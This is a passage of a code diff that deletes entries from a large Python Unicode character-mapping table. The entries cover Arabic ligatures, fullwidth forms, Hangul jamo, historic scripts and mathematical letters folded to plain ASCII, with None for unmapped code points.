-    "צּ",
-    "קּ",
-    "רּ",
-    "שּ",
-    "תּ",
-    "וֹ",
-    "בֿ",
-    "כֿ",
-    "פֿ",
-    "אל",
-    "ٱ",
-    "ٻ",
-    "پ",
-    "ڀ",
-    "ٺ",
-    "ٿ",
-    "ٹ",
-    "ڤ",
-    "ڦ",
-    "ڄ",
-    "ڃ",
-    "چ",
-    "ڇ",
-    "ڍ",
-    "ڌ",
-    "ڎ",
-    "ڈ",
-    "ژ",
-    "ڑ",
-    "ک",
-    "گ",
-    "ڳ",
-    "ڱ",
-    "ں",
-    "ڻ",
-    "ۀ",
-    "ہ",
-    "ھ",
-    "ے",
-    "ۓ",
-    None,
-    "ڭ",
-    "ۇ",
-    "ۆ",
-    "ۈ",
-    "ۇٴ",
-    "ۋ",
-    "ۅ",
-    "ۉ",
-    "ې",
-    "ى",
-    "ئا",
-    "ئە",
-    "ئو",
-    "ئۇ",
-    "ئۆ",
-    "ئۈ",
-    "ئې",
-    "ئى",
-    "ی",
-    "ئج",
-    "ئح",
-    "ئم",
-    "ئى",
-    "ئي",
-    "بج",
-    "بح",
-    "بخ",
-    "بم",
-    "بى",
-    "بي",
-    "تج",
-    "تح",
-    "تخ",
-    "تم",
-    "تى",
-    "تي",
-    "ثج",
-    "ثم",
-    "ثى",
-    "ثي",
-    "جح",
-    "جم",
-    "حج",
-    "حم",
-    "خج",
-    "خح",
-    "خم",
-    "سج",
-    "سح",
-    "سخ",
-    "سم",
-    "صح",
-    "صم",
-    "ضج",
-    "ضح",
-    "ضخ",
-    "ضم",
-    "طح",
-    "طم",
-    "ظم",
-    "عج",
-    "عم",
-    "غج",
-    "غم",
-    "فج",
-    "فح",
-    "فخ",
-    "فم",
-    "فى",
-    "في",
-    "قح",
-    "قم",
-    "قى",
-    "قي",
-    "كا",
-    "كج",
-    "كح",
-    "كخ",
-    "كل",
-    "كم",
-    "كى",
-    "كي",
-    "لج",
-    "لح",
-    "لخ",
-    "لم",
-    "لى",
-    "لي",
-    "مج",
-    "مح",
-    "مخ",
-    "مم",
-    "مى",
-    "مي",
-    "نج",
-    "نح",
-    "نخ",
-    "نم",
-    "نى",
-    "ني",
-    "هج",
-    "هم",
-    "هى",
-    "هي",
-    "يج",
-    "يح",
-    "يخ",
-    "يم",
-    "يى",
-    "يي",
-    "ذٰ",
-    "رٰ",
-    "ىٰ",
-    " ٌّ",
-    " ٍّ",
-    " َّ",
-    " ُّ",
-    " ِّ",
-    " ّٰ",
-    "ئر",
-    "ئز",
-    "ئم",
-    "ئن",
-    "ئى",
-    "ئي",
-    "بر",
-    "بز",
-    "بم",
-    "بن",
-    "بى",
-    "بي",
-    "تر",
-    "تز",
-    "تم",
-    "تن",
-    "تى",
-    "تي",
-    "ثر",
-    "ثز",
-    "ثم",
-    "ثن",
-    "ثى",
-    "ثي",
-    "فى",
-    "في",
-    "قى",
-    "قي",
-    "كا",
-    "كل",
-    "كم",
-    "كى",
-    "كي",
-    "لم",
-    "لى",
-    "لي",
-    "ما",
-    "مم",
-    "نر",
-    "نز",
-    "نم",
-    "نن",
-    "نى",
-    "ني",
-    "ىٰ",
-    "ير",
-    "يز",
-    "يم",
-    "ين",
-    "يى",
-    "يي",
-    "ئج",
-    "ئح",
-    "ئخ",
-    "ئم",
-    "ئه",
-    "بج",
-    "بح",
-    "بخ",
-    "بم",
-    "به",
-    "تج",
-    "تح",
-    "تخ",
-    "تم",
-    "ته",
-    "ثم",
-    "جح",
-    "جم",
-    "حج",
-    "حم",
-    "خج",
-    "خم",
-    "سج",
-    "سح",
-    "سخ",
-    "سم",
-    "صح",
-    "صخ",
-    "صم",
-    "ضج",
-    "ضح",
-    "ضخ",
-    "ضم",
-    "طح",
-    "ظم",
-    "عج",
-    "عم",
-    "غج",
-    "غم",
-    "فج",
-    "فح",
-    "فخ",
-    "فم",
-    "قح",
-    "قم",
-    "كج",
-    "كح",
-    "كخ",
-    "كل",
-    "كم",
-    "لج",
-    "لح",
-    "لخ",
-    "لم",
-    "له",
-    "مج",
-    "مح",
-    "مخ",
-    "مم",
-    "نج",
-    "نح",
-    "نخ",
-    "نم",
-    "نه",
-    "هج",
-    "هم",
-    "هٰ",
-    "يج",
-    "يح",
-    "يخ",
-    "يم",
-    "يه",
-    "ئم",
-    "ئه",
-    "بم",
-    "به",
-    "تم",
-    "ته",
-    "ثم",
-    "ثه",
-    "سم",
-    "سه",
-    "شم",
-    "شه",
-    "كل",
-    "كم",
-    "لم",
-    "نم",
-    "نه",
-    "يم",
-    "يه",
-    "ـَّ",
-    "ـُّ",
-    "ـِّ",
-    "طى",
-    "طي",
-    "عى",
-    "عي",
-    "غى",
-    "غي",
-    "سى",
-    "سي",
-    "شى",
-    "شي",
-    "حى",
-    "حي",
-    "جى",
-    "جي",
-    "خى",
-    "خي",
-    "صى",
-    "صي",
-    "ضى",
-    "ضي",
-    "شج",
-    "شح",
-    "شخ",
-    "شم",
-    "شر",
-    "سر",
-    "صر",
-    "ضر",
-    "طى",
-    "طي",
-    "عى",
-    "عي",
-    "غى",
-    "غي",
-    "سى",
-    "سي",
-    "شى",
-    "شي",
-    "حى",
-    "حي",
-    "جى",
-    "جي",
-    "خى",
-    "خي",
-    "صى",
-    "صي",
-    "ضى",
-    "ضي",
-    "شج",
-    "شح",
-    "شخ",
-    "شم",
-    "شر",
-    "سر",
-    "صر",
-    "ضر",
-    "شج",
-    "شح",
-    "شخ",
-    "شم",
-    "سه",
-    "شه",
-    "طم",
-    "سج",
-    "سح",
-    "سخ",
-    "شج",
-    "شح",
-    "شخ",
-    "طم",
-    "ظم",
-    "اً",
-    None,
-    "تجم",
-    "تحج",
-    "تحم",
-    "تخم",
-    "تمج",
-    "تمح",
-    "تمخ",
-    "جمح",
-    "حمي",
-    "حمى",
-    "سحج",
-    "سجح",
-    "سجى",
-    "سمح",
-    "سمج",
-    "سمم",
-    "صحح",
-    "صمم",
-    "شحم",
-    "شجي",
-    "شمخ",
-    "شمم",
-    "ضحى",
-    "ضخم",
-    "طمح",
-    "طمم",
-    "طمي",
-    "عجم",
-    "عمم",
-    "عمى",
-    "غمم",
-    "غمي",
-    "غمى",
-    "فخم",
-    "قمح",
-    "قمم",
-    "لحم",
-    "لحي",
-    "لحى",
-    "لجج",
-    "لخم",
-    "لمح",
-    "محج",
-    "محم",
-    "محي",
-    "مجح",
-    "مجم",
-    "مخج",
-    "مخم",
-    None,
-    "مجخ",
-    "همج",
-    "همم",
-    "نحم",
-    "نحى",
-    "نجم",
-    "نجى",
-    "نمي",
-    "نمى",
-    "يمم",
-    "بخي",
-    "تجي",
-    "تجى",
-    "تخي",
-    "تخى",
-    "تمي",
-    "تمى",
-    "جمي",
-    "جحى",
-    "جمى",
-    "سخى",
-    "صحي",
-    "شحي",
-    "ضحي",
-    "لجي",
-    "لمي",
-    "يحي",
-    "يجي",
-    "يمي",
-    "ممي",
-    "قمي",
-    "نحي",
-    "قمح",
-    "لحم",
-    "عمي",
-    "كمي",
-    "نجح",
-    "مخي",
-    "لجم",
-    "كمم",
-    "لجم",
-    "نجح",
-    "جحي",
-    "حجي",
-    "مجي",
-    "فمي",
-    "بحي",
-    "كمم",
-    "عجم",
-    "صمم",
-    "سخي",
-    "نجي",
-    None,
-    None,
-    "صلے",
-    "قلے",
-    "الله",
-    "اكبر",
-    "محمد",
-    "صلعم",
-    "رسول",
-    "عليه",
-    "وسلم",
-    "صلى",
-    "صلى الله عليه وسلم",
-    "جل جلاله",
-    "ریال",
-    None,
-    None,
-    ",",
-    "、",
-    None,
-    ":",
-    ";",
-    "!",
-    "?",
-    "〖",
-    "〗",
-    None,
-    None,
-    None,
-    "—",
-    "–",
-    "_",
-    "(",
-    ")",
-    "{",
-    "}",
-    "〔",
-    "〕",
-    "【",
-    "】",
-    "《",
-    "》",
-    "〈",
-    "〉",
-    "「",
-    "」",
-    "『",
-    "』",
-    None,
-    "[",
-    "]",
-    " ̅",
-    "_",
-    ",",
-    "、",
-    None,
-    ";",
-    ":",
-    "?",
-    "!",
-    "—",
-    "(",
-    ")",
-    "{",
-    "}",
-    "〔",
-    "〕",
-    "#",
-    "&",
-    "*",
-    "+",
-    "-",
-    "<",
-    ">",
-    "=",
-    None,
-    "\\",
-    "$",
-    "%",
-    "@",
-    None,
-    " ً",
-    "ـً",
-    " ٌ",
-    None,
-    " ٍ",
-    None,
-    " َ",
-    "ـَ",
-    " ُ",
-    "ـُ",
-    " ِ",
-    "ـِ",
-    " ّ",
-    "ـّ",
-    " ْ",
-    "ـْ",
-    "ء",
-    "آ",
-    "أ",
-    "ؤ",
-    "إ",
-    "ئ",
-    "ا",
-    "ب",
-    "ة",
-    "ت",
-    "ث",
-    "ج",
-    "ح",
-    "خ",
-    "د",
-    "ذ",
-    "ر",
-    "ز",
-    "س",
-    "ش",
-    "ص",
-    "ض",
-    "ط",
-    "ظ",
-    "ع",
-    "غ",
-    "ف",
-    "ق",
-    "ك",
-    "ل",
-    "م",
-    "ن",
-    "ه",
-    "و",
-    "ى",
-    "ي",
-    "لآ",
-    "لأ",
-    "لإ",
-    "لا",
-    None,
-    None,
-    None,
-    "!",
-    '"',
-    "#",
-    "$",
-    "%",
-    "&",
-    "'",
-    "(",
-    ")",
-    "*",
-    "+",
-    ",",
-    "-",
-    ".",
-    "/",
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    ":",
-    ";",
-    "<",
-    "=",
-    ">",
-    "?",
-    "@",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "[",
-    "\\",
-    "]",
-    "^",
-    "_",
-    "`",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "{",
-    "|",
-    "}",
-    "~",
-    "⦅",
-    "⦆",
-    ".",
-    "「",
-    "」",
-    "、",
-    "・",
-    "ヲ",
-    "ァ",
-    "ィ",
-    "ゥ",
-    "ェ",
-    "ォ",
-    "ャ",
-    "ュ",
-    "ョ",
-    "ッ",
-    "ー",
-    "ア",
-    "イ",
-    "ウ",
-    "エ",
-    "オ",
-    "カ",
-    "キ",
-    "ク",
-    "ケ",
-    "コ",
-    "サ",
-    "シ",
-    "ス",
-    "セ",
-    "ソ",
-    "タ",
-    "チ",
-    "ツ",
-    "テ",
-    "ト",
-    "ナ",
-    "ニ",
-    "ヌ",
-    "ネ",
-    "ノ",
-    "ハ",
-    "ヒ",
-    "フ",
-    "ヘ",
-    "ホ",
-    "マ",
-    "ミ",
-    "ム",
-    "メ",
-    "モ",
-    "ヤ",
-    "ユ",
-    "ヨ",
-    "ラ",
-    "リ",
-    "ル",
-    "レ",
-    "ロ",
-    "ワ",
-    "ン",
-    "゙",
-    "゚",
-    None,
-    "ᄀ",
-    "ᄁ",
-    "ᆪ",
-    "ᄂ",
-    "ᆬ",
-    "ᆭ",
-    "ᄃ",
-    "ᄄ",
-    "ᄅ",
-    "ᆰ",
-    "ᆱ",
-    "ᆲ",
-    "ᆳ",
-    "ᆴ",
-    "ᆵ",
-    "ᄚ",
-    "ᄆ",
-    "ᄇ",
-    "ᄈ",
-    "ᄡ",
-    "ᄉ",
-    "ᄊ",
-    "ᄋ",
-    "ᄌ",
-    "ᄍ",
-    "ᄎ",
-    "ᄏ",
-    "ᄐ",
-    "ᄑ",
-    "ᄒ",
-    None,
-    "ᅡ",
-    "ᅢ",
-    "ᅣ",
-    "ᅤ",
-    "ᅥ",
-    "ᅦ",
-    None,
-    "ᅧ",
-    "ᅨ",
-    "ᅩ",
-    "ᅪ",
-    "ᅫ",
-    "ᅬ",
-    None,
-    "ᅭ",
-    "ᅮ",
-    "ᅯ",
-    "ᅰ",
-    "ᅱ",
-    "ᅲ",
-    None,
-    "ᅳ",
-    "ᅴ",
-    "ᅵ",
-    None,
-    "¢",
-    "£",
-    "¬",
-    " ̄",
-    "¦",
-    "¥",
-    "₩",
-    None,
-    "│",
-    "←",
-    "↑",
-    "→",
-    "↓",
-    "■",
-    "○",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "𐐨",
-    "𐐩",
-    "𐐪",
-    "𐐫",
-    "𐐬",
-    "𐐭",
-    "𐐮",
-    "𐐯",
-    "𐐰",
-    "𐐱",
-    "𐐲",
-    "𐐳",
-    "𐐴",
-    "𐐵",
-    "𐐶",
-    "𐐷",
-    "𐐸",
-    "𐐹",
-    "𐐺",
-    "𐐻",
-    "𐐼",
-    "𐐽",
-    "𐐾",
-    "𐐿",
-    "𐑀",
-    "𐑁",
-    "𐑂",
-    "𐑃",
-    "𐑄",
-    "𐑅",
-    "𐑆",
-    "𐑇",
-    "𐑈",
-    "𐑉",
-    "𐑊",
-    "𐑋",
-    "𐑌",
-    "𐑍",
-    "𐑎",
-    "𐑏",
-    None,
-    None,
-    None,
-    None,
-    "𐓘",
-    "𐓙",
-    "𐓚",
-    "𐓛",
-    "𐓜",
-    "𐓝",
-    "𐓞",
-    "𐓟",
-    "𐓠",
-    "𐓡",
-    "𐓢",
-    "𐓣",
-    "𐓤",
-    "𐓥",
-    "𐓦",
-    "𐓧",
-    "𐓨",
-    "𐓩",
-    "𐓪",
-    "𐓫",
-    "𐓬",
-    "𐓭",
-    "𐓮",
-    "𐓯",
-    "𐓰",
-    "𐓱",
-    "𐓲",
-    "𐓳",
-    "𐓴",
-    "𐓵",
-    "𐓶",
-    "𐓷",
-    "𐓸",
-    "𐓹",
-    "𐓺",
-    "𐓻",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "𐖗",
-    "𐖘",
-    "𐖙",
-    "𐖚",
-    "𐖛",
-    "𐖜",
-    "𐖝",
-    "𐖞",
-    "𐖟",
-    "𐖠",
-    "𐖡",
-    None,
-    "𐖣",
-    "𐖤",
-    "𐖥",
-    "𐖦",
-    "𐖧",
-    "𐖨",
-    "𐖩",
-    "𐖪",
-    "𐖫",
-    "𐖬",
-    "𐖭",
-    "𐖮",
-    "𐖯",
-    "𐖰",
-    "𐖱",
-    None,
-    "𐖳",
-    "𐖴",
-    "𐖵",
-    "𐖶",
-    "𐖷",
-    "𐖸",
-    "𐖹",
-    None,
-    "𐖻",
-    "𐖼",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ː",
-    "ˑ",
-    "æ",
-    "ʙ",
-    "ɓ",
-    None,
-    "ʣ",
-    "ꭦ",
-    "ʥ",
-    "ʤ",
-    "ɖ",
-    "ɗ",
-    "ᶑ",
-    "ɘ",
-    "ɞ",
-    "ʩ",
-    "ɤ",
-    "ɢ",
-    "ɠ",
-    "ʛ",
-    "ħ",
-    "ʜ",
-    "ɧ",
-    "ʄ",
-    "ʪ",
-    "ʫ",
-    "ɬ",
-    "𝼄",
-    "ꞎ",
-    "ɮ",
-    "𝼅",
-    "ʎ",
-    "𝼆",
-    "ø",
-    "ɶ",
-    "ɷ",
-    "q",
-    "ɺ",
-    "𝼈",
-    "ɽ",
-    "ɾ",
-    "ʀ",
-    "ʨ",
-    "ʦ",
-    "ꭧ",
-    "ʧ",
-    "ʈ",
-    "ⱱ",
-    None,
-    "ʏ",
-    "ʡ",
-    "ʢ",
-    "ʘ",
-    "ǀ",
-    "ǁ",
-    "ǂ",
-    "𝼊",
-    "𝼞",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "𐳀",
-    "𐳁",
-    "𐳂",
-    "𐳃",
-    "𐳄",
-    "𐳅",
-    "𐳆",
-    "𐳇",
-    "𐳈",
-    "𐳉",
-    "𐳊",
-    "𐳋",
-    "𐳌",
-    "𐳍",
-    "𐳎",
-    "𐳏",
-    "𐳐",
-    "𐳑",
-    "𐳒",
-    "𐳓",
-    "𐳔",
-    "𐳕",
-    "𐳖",
-    "𐳗",
-    "𐳘",
-    "𐳙",
-    "𐳚",
-    "𐳛",
-    "𐳜",
-    "𐳝",
-    "𐳞",
-    "𐳟",
-    "𐳠",
-    "𐳡",
-    "𐳢",
-    "𐳣",
-    "𐳤",
-    "𐳥",
-    "𐳦",
-    "𐳧",
-    "𐳨",
-    "𐳩",
-    "𐳪",
-    "𐳫",
-    "𐳬",
-    "𐳭",
-    "𐳮",
-    "𐳯",
-    "𐳰",
-    "𐳱",
-    "𐳲",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "\U00010d70",
-    "\U00010d71",
-    "\U00010d72",
-    "\U00010d73",
-    "\U00010d74",
-    "\U00010d75",
-    "\U00010d76",
-    "\U00010d77",
-    "\U00010d78",
-    "\U00010d79",
-    "\U00010d7a",
-    "\U00010d7b",
-    "\U00010d7c",
-    "\U00010d7d",
-    "\U00010d7e",
-    "\U00010d7f",
-    "\U00010d80",
-    "\U00010d81",
-    "\U00010d82",
-    "\U00010d83",
-    "\U00010d84",
-    "\U00010d85",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "𑣀",
-    "𑣁",
-    "𑣂",
-    "𑣃",
-    "𑣄",
-    "𑣅",
-    "𑣆",
-    "𑣇",
-    "𑣈",
-    "𑣉",
-    "𑣊",
-    "𑣋",
-    "𑣌",
-    "𑣍",
-    "𑣎",
-    "𑣏",
-    "𑣐",
-    "𑣑",
-    "𑣒",
-    "𑣓",
-    "𑣔",
-    "𑣕",
-    "𑣖",
-    "𑣗",
-    "𑣘",
-    "𑣙",
-    "𑣚",
-    "𑣛",
-    "𑣜",
-    "𑣝",
-    "𑣞",
-    "𑣟",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "𖹠",
-    "𖹡",
-    "𖹢",
-    "𖹣",
-    "𖹤",
-    "𖹥",
-    "𖹦",
-    "𖹧",
-    "𖹨",
-    "𖹩",
-    "𖹪",
-    "𖹫",
-    "𖹬",
-    "𖹭",
-    "𖹮",
-    "𖹯",
-    "𖹰",
-    "𖹱",
-    "𖹲",
-    "𖹳",
-    "𖹴",
-    "𖹵",
-    "𖹶",
-    "𖹷",
-    "𖹸",
-    "𖹹",
-    "𖹺",
-    "𖹻",
-    "𖹼",
-    "𖹽",
-    "𖹾",
-    "𖹿",
-    None,
-    None,
-    "\U00016ebb",
-    "\U00016ebc",
-    "\U00016ebd",
-    "\U00016ebe",
-    "\U00016ebf",
-    "\U00016ec0",
-    "\U00016ec1",
-    "\U00016ec2",
-    "\U00016ec3",
-    "\U00016ec4",
-    "\U00016ec5",
-    "\U00016ec6",
-    "\U00016ec7",
-    "\U00016ec8",
-    "\U00016ec9",
-    "\U00016eca",
-    "\U00016ecb",
-    "\U00016ecc",
-    "\U00016ecd",
-    "\U00016ece",
-    "\U00016ecf",
-    "\U00016ed0",
-    "\U00016ed1",
-    "\U00016ed2",
-    "\U00016ed3",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "𝅗𝅥",
-    "𝅘𝅥",
-    "𝅘𝅥𝅮",
-    "𝅘𝅥𝅯",
-    "𝅘𝅥𝅰",
-    "𝅘𝅥𝅱",
-    "𝅘𝅥𝅲",
-    None,
-    None,
-    None,
-    "𝆹𝅥",
-    "𝆺𝅥",
-    "𝆹𝅥𝅮",
-    "𝆺𝅥𝅮",
-    "𝆹𝅥𝅯",
-    "𝆺𝅥𝅯",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    None,
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    None,
-    "c",
-    "d",
-    None,
-    "g",
-    None,
-    "j",
-    "k",
-    None,
-    "n",
-    "o",
-    "p",
-    "q",
-    None,
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    None,
-    "f",
-    None,
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    None,
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    None,
-    "d",
-    "e",
-    "f",
-    "g",
-    None,
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    None,
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    None,
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    None,
-    "d",
-    "e",
-    "f",
-    "g",
-    None,
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    None,
-    "o",
-    None,
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    None,
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
